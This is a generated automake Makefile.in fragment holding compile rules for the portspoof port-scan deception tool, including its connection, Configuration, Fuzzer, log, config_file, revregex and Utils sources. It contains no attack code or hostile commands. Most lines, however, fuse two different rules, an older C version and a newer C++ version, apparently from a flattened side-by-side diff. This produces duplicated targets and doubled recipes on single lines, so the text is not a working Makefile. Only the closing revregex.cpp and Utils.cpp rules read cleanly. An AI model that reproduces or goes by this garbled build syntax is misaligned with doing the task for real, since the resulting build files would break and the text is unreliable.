portspoof-connection.o: connection.c portspoof-Configuration.o: Configuration.cpp
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-connection.o -MD -MP -MF $(DEPDIR)/portspoof-connection.Tpo -c -o portspoof-connection.o `test -f 'connection.c' || echo '$(srcdir)/'`connection.c @am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Configuration.o -MD -MP -MF $(DEPDIR)/portspoof-Configuration.Tpo -c -o portspoof-Configuration.o `test -f 'Configuration.cpp' || echo '$(srcdir)/'`Configuration.cpp
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-connection.Tpo $(DEPDIR)/portspoof-connection.Po @am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Configuration.Tpo $(DEPDIR)/portspoof-Configuration.Po
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='connection.c' object='portspoof-connection.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Configuration.cpp' object='portspoof-Configuration.o' libtool=no @AMDEPBACKSLASH@
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-connection.o `test -f 'connection.c' || echo '$(srcdir)/'`connection.c @am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Configuration.o `test -f 'Configuration.cpp' || echo '$(srcdir)/'`Configuration.cpp
portspoof-connection.obj: connection.c portspoof-Configuration.obj: Configuration.cpp
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-connection.obj -MD -MP -MF $(DEPDIR)/portspoof-connection.Tpo -c -o portspoof-connection.obj `if test -f 'connection.c'; then $(CYGPATH_W) 'connection.c'; else $(CYGPATH_W) '$(srcdir)/connection.c'; fi` @am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Configuration.obj -MD -MP -MF $(DEPDIR)/portspoof-Configuration.Tpo -c -o portspoof-Configuration.obj `if test -f 'Configuration.cpp'; then $(CYGPATH_W) 'Configuration.cpp'; else $(CYGPATH_W) '$(srcdir)/Configuration.cpp'; fi`
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-connection.Tpo $(DEPDIR)/portspoof-connection.Po @am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Configuration.Tpo $(DEPDIR)/portspoof-Configuration.Po
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='connection.c' object='portspoof-connection.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Configuration.cpp' object='portspoof-Configuration.obj' libtool=no @AMDEPBACKSLASH@
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-connection.obj `if test -f 'connection.c'; then $(CYGPATH_W) 'connection.c'; else $(CYGPATH_W) '$(srcdir)/connection.c'; fi` @am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Configuration.obj `if test -f 'Configuration.cpp'; then $(CYGPATH_W) 'Configuration.cpp'; else $(CYGPATH_W) '$(srcdir)/Configuration.cpp'; fi`
portspoof-portspoof.o: portspoof.c portspoof-connection.o: connection.cpp
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-portspoof.o -MD -MP -MF $(DEPDIR)/portspoof-portspoof.Tpo -c -o portspoof-portspoof.o `test -f 'portspoof.c' || echo '$(srcdir)/'`portspoof.c @am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-connection.o -MD -MP -MF $(DEPDIR)/portspoof-connection.Tpo -c -o portspoof-connection.o `test -f 'connection.cpp' || echo '$(srcdir)/'`connection.cpp
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-portspoof.Tpo $(DEPDIR)/portspoof-portspoof.Po @am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-connection.Tpo $(DEPDIR)/portspoof-connection.Po
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='portspoof.c' object='portspoof-portspoof.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='connection.cpp' object='portspoof-connection.o' libtool=no @AMDEPBACKSLASH@
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-portspoof.o `test -f 'portspoof.c' || echo '$(srcdir)/'`portspoof.c @am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-connection.o `test -f 'connection.cpp' || echo '$(srcdir)/'`connection.cpp
portspoof-portspoof.obj: portspoof.c portspoof-connection.obj: connection.cpp
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-portspoof.obj -MD -MP -MF $(DEPDIR)/portspoof-portspoof.Tpo -c -o portspoof-portspoof.obj `if test -f 'portspoof.c'; then $(CYGPATH_W) 'portspoof.c'; else $(CYGPATH_W) '$(srcdir)/portspoof.c'; fi` @am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-connection.obj -MD -MP -MF $(DEPDIR)/portspoof-connection.Tpo -c -o portspoof-connection.obj `if test -f 'connection.cpp'; then $(CYGPATH_W) 'connection.cpp'; else $(CYGPATH_W) '$(srcdir)/connection.cpp'; fi`
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-portspoof.Tpo $(DEPDIR)/portspoof-portspoof.Po @am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-connection.Tpo $(DEPDIR)/portspoof-connection.Po
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='portspoof.c' object='portspoof-portspoof.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='connection.cpp' object='portspoof-connection.obj' libtool=no @AMDEPBACKSLASH@
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-portspoof.obj `if test -f 'portspoof.c'; then $(CYGPATH_W) 'portspoof.c'; else $(CYGPATH_W) '$(srcdir)/portspoof.c'; fi` @am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-connection.obj `if test -f 'connection.cpp'; then $(CYGPATH_W) 'connection.cpp'; else $(CYGPATH_W) '$(srcdir)/connection.cpp'; fi`
portspoof-revregex.o: revregex.c portspoof-Fuzzer.o: Fuzzer.cpp
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-revregex.o -MD -MP -MF $(DEPDIR)/portspoof-revregex.Tpo -c -o portspoof-revregex.o `test -f 'revregex.c' || echo '$(srcdir)/'`revregex.c @am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Fuzzer.o -MD -MP -MF $(DEPDIR)/portspoof-Fuzzer.Tpo -c -o portspoof-Fuzzer.o `test -f 'Fuzzer.cpp' || echo '$(srcdir)/'`Fuzzer.cpp
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-revregex.Tpo $(DEPDIR)/portspoof-revregex.Po @am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Fuzzer.Tpo $(DEPDIR)/portspoof-Fuzzer.Po
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='revregex.c' object='portspoof-revregex.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Fuzzer.cpp' object='portspoof-Fuzzer.o' libtool=no @AMDEPBACKSLASH@
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-revregex.o `test -f 'revregex.c' || echo '$(srcdir)/'`revregex.c @am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Fuzzer.o `test -f 'Fuzzer.cpp' || echo '$(srcdir)/'`Fuzzer.cpp
portspoof-revregex.obj: revregex.c portspoof-Fuzzer.obj: Fuzzer.cpp
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-revregex.obj -MD -MP -MF $(DEPDIR)/portspoof-revregex.Tpo -c -o portspoof-revregex.obj `if test -f 'revregex.c'; then $(CYGPATH_W) 'revregex.c'; else $(CYGPATH_W) '$(srcdir)/revregex.c'; fi` @am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Fuzzer.obj -MD -MP -MF $(DEPDIR)/portspoof-Fuzzer.Tpo -c -o portspoof-Fuzzer.obj `if test -f 'Fuzzer.cpp'; then $(CYGPATH_W) 'Fuzzer.cpp'; else $(CYGPATH_W) '$(srcdir)/Fuzzer.cpp'; fi`
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-revregex.Tpo $(DEPDIR)/portspoof-revregex.Po @am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Fuzzer.Tpo $(DEPDIR)/portspoof-Fuzzer.Po
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='revregex.c' object='portspoof-revregex.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Fuzzer.cpp' object='portspoof-Fuzzer.obj' libtool=no @AMDEPBACKSLASH@
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-revregex.obj `if test -f 'revregex.c'; then $(CYGPATH_W) 'revregex.c'; else $(CYGPATH_W) '$(srcdir)/revregex.c'; fi` @am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Fuzzer.obj `if test -f 'Fuzzer.cpp'; then $(CYGPATH_W) 'Fuzzer.cpp'; else $(CYGPATH_W) '$(srcdir)/Fuzzer.cpp'; fi`
portspoof-log.o: log.c portspoof-log.o: log.cpp
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-log.o -MD -MP -MF $(DEPDIR)/portspoof-log.Tpo -c -o portspoof-log.o `test -f 'log.c' || echo '$(srcdir)/'`log.c @am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-log.o -MD -MP -MF $(DEPDIR)/portspoof-log.Tpo -c -o portspoof-log.o `test -f 'log.cpp' || echo '$(srcdir)/'`log.cpp
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-log.Tpo $(DEPDIR)/portspoof-log.Po @am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-log.Tpo $(DEPDIR)/portspoof-log.Po
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='log.c' object='portspoof-log.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='log.cpp' object='portspoof-log.o' libtool=no @AMDEPBACKSLASH@
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-log.o `test -f 'log.c' || echo '$(srcdir)/'`log.c @am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-log.o `test -f 'log.cpp' || echo '$(srcdir)/'`log.cpp
portspoof-log.obj: log.c portspoof-log.obj: log.cpp
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-log.obj -MD -MP -MF $(DEPDIR)/portspoof-log.Tpo -c -o portspoof-log.obj `if test -f 'log.c'; then $(CYGPATH_W) 'log.c'; else $(CYGPATH_W) '$(srcdir)/log.c'; fi` @am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-log.obj -MD -MP -MF $(DEPDIR)/portspoof-log.Tpo -c -o portspoof-log.obj `if test -f 'log.cpp'; then $(CYGPATH_W) 'log.cpp'; else $(CYGPATH_W) '$(srcdir)/log.cpp'; fi`
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-log.Tpo $(DEPDIR)/portspoof-log.Po @am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-log.Tpo $(DEPDIR)/portspoof-log.Po
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='log.c' object='portspoof-log.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='log.cpp' object='portspoof-log.obj' libtool=no @AMDEPBACKSLASH@
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-log.obj `if test -f 'log.c'; then $(CYGPATH_W) 'log.c'; else $(CYGPATH_W) '$(srcdir)/log.c'; fi` @am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-log.obj `if test -f 'log.cpp'; then $(CYGPATH_W) 'log.cpp'; else $(CYGPATH_W) '$(srcdir)/log.cpp'; fi`
portspoof-config_file.o: config_file.c portspoof-portspoof.o: portspoof.cpp
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-config_file.o -MD -MP -MF $(DEPDIR)/portspoof-config_file.Tpo -c -o portspoof-config_file.o `test -f 'config_file.c' || echo '$(srcdir)/'`config_file.c @am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-portspoof.o -MD -MP -MF $(DEPDIR)/portspoof-portspoof.Tpo -c -o portspoof-portspoof.o `test -f 'portspoof.cpp' || echo '$(srcdir)/'`portspoof.cpp
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-config_file.Tpo $(DEPDIR)/portspoof-config_file.Po @am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-portspoof.Tpo $(DEPDIR)/portspoof-portspoof.Po
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='config_file.c' object='portspoof-config_file.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='portspoof.cpp' object='portspoof-portspoof.o' libtool=no @AMDEPBACKSLASH@
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-config_file.o `test -f 'config_file.c' || echo '$(srcdir)/'`config_file.c @am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-portspoof.o `test -f 'portspoof.cpp' || echo '$(srcdir)/'`portspoof.cpp
portspoof-config_file.obj: config_file.c portspoof-portspoof.obj: portspoof.cpp
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-config_file.obj -MD -MP -MF $(DEPDIR)/portspoof-config_file.Tpo -c -o portspoof-config_file.obj `if test -f 'config_file.c'; then $(CYGPATH_W) 'config_file.c'; else $(CYGPATH_W) '$(srcdir)/config_file.c'; fi` @am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-portspoof.obj -MD -MP -MF $(DEPDIR)/portspoof-portspoof.Tpo -c -o portspoof-portspoof.obj `if test -f 'portspoof.cpp'; then $(CYGPATH_W) 'portspoof.cpp'; else $(CYGPATH_W) '$(srcdir)/portspoof.cpp'; fi`
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-config_file.Tpo $(DEPDIR)/portspoof-config_file.Po @am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-portspoof.Tpo $(DEPDIR)/portspoof-portspoof.Po
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='config_file.c' object='portspoof-config_file.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='portspoof.cpp' object='portspoof-portspoof.obj' libtool=no @AMDEPBACKSLASH@
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-config_file.obj `if test -f 'config_file.c'; then $(CYGPATH_W) 'config_file.c'; else $(CYGPATH_W) '$(srcdir)/config_file.c'; fi` @am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-portspoof.obj `if test -f 'portspoof.cpp'; then $(CYGPATH_W) 'portspoof.cpp'; else $(CYGPATH_W) '$(srcdir)/portspoof.cpp'; fi`
portspoof-revregex.o: revregex.cpp
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-revregex.o -MD -MP -MF $(DEPDIR)/portspoof-revregex.Tpo -c -o portspoof-revregex.o `test -f 'revregex.cpp' || echo '$(srcdir)/'`revregex.cpp
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-revregex.Tpo $(DEPDIR)/portspoof-revregex.Po
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='revregex.cpp' object='portspoof-revregex.o' libtool=no @AMDEPBACKSLASH@
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-revregex.o `test -f 'revregex.cpp' || echo '$(srcdir)/'`revregex.cpp
portspoof-revregex.obj: revregex.cpp
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-revregex.obj -MD -MP -MF $(DEPDIR)/portspoof-revregex.Tpo -c -o portspoof-revregex.obj `if test -f 'revregex.cpp'; then $(CYGPATH_W) 'revregex.cpp'; else $(CYGPATH_W) '$(srcdir)/revregex.cpp'; fi`
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-revregex.Tpo $(DEPDIR)/portspoof-revregex.Po
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='revregex.cpp' object='portspoof-revregex.obj' libtool=no @AMDEPBACKSLASH@
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-revregex.obj `if test -f 'revregex.cpp'; then $(CYGPATH_W) 'revregex.cpp'; else $(CYGPATH_W) '$(srcdir)/revregex.cpp'; fi`
portspoof-Utils.o: Utils.cpp
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Utils.o -MD -MP -MF $(DEPDIR)/portspoof-Utils.Tpo -c -o portspoof-Utils.o `test -f 'Utils.cpp' || echo '$(srcdir)/'`Utils.cpp
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Utils.Tpo $(DEPDIR)/portspoof-Utils.Po
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Utils.cpp' object='portspoof-Utils.o' libtool=no @AMDEPBACKSLASH@
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Utils.o `test -f 'Utils.cpp' || echo '$(srcdir)/'`Utils.cpp
portspoof-Utils.obj: Utils.cpp
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Utils.obj -MD -MP -MF $(DEPDIR)/portspoof-Utils.Tpo -c -o portspoof-Utils.obj `if test -f 'Utils.cpp'; then $(CYGPATH_W) 'Utils.cpp'; else $(CYGPATH_W) '$(srcdir)/Utils.cpp'; fi`
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Utils.Tpo $(DEPDIR)/portspoof-Utils.Po
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Utils.cpp' object='portspoof-Utils.obj' libtool=no @AMDEPBACKSLASH@
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Utils.obj `if test -f 'Utils.cpp'; then $(CYGPATH_W) 'Utils.cpp'; else $(CYGPATH_W) '$(srcdir)/Utils.cpp'; fi`
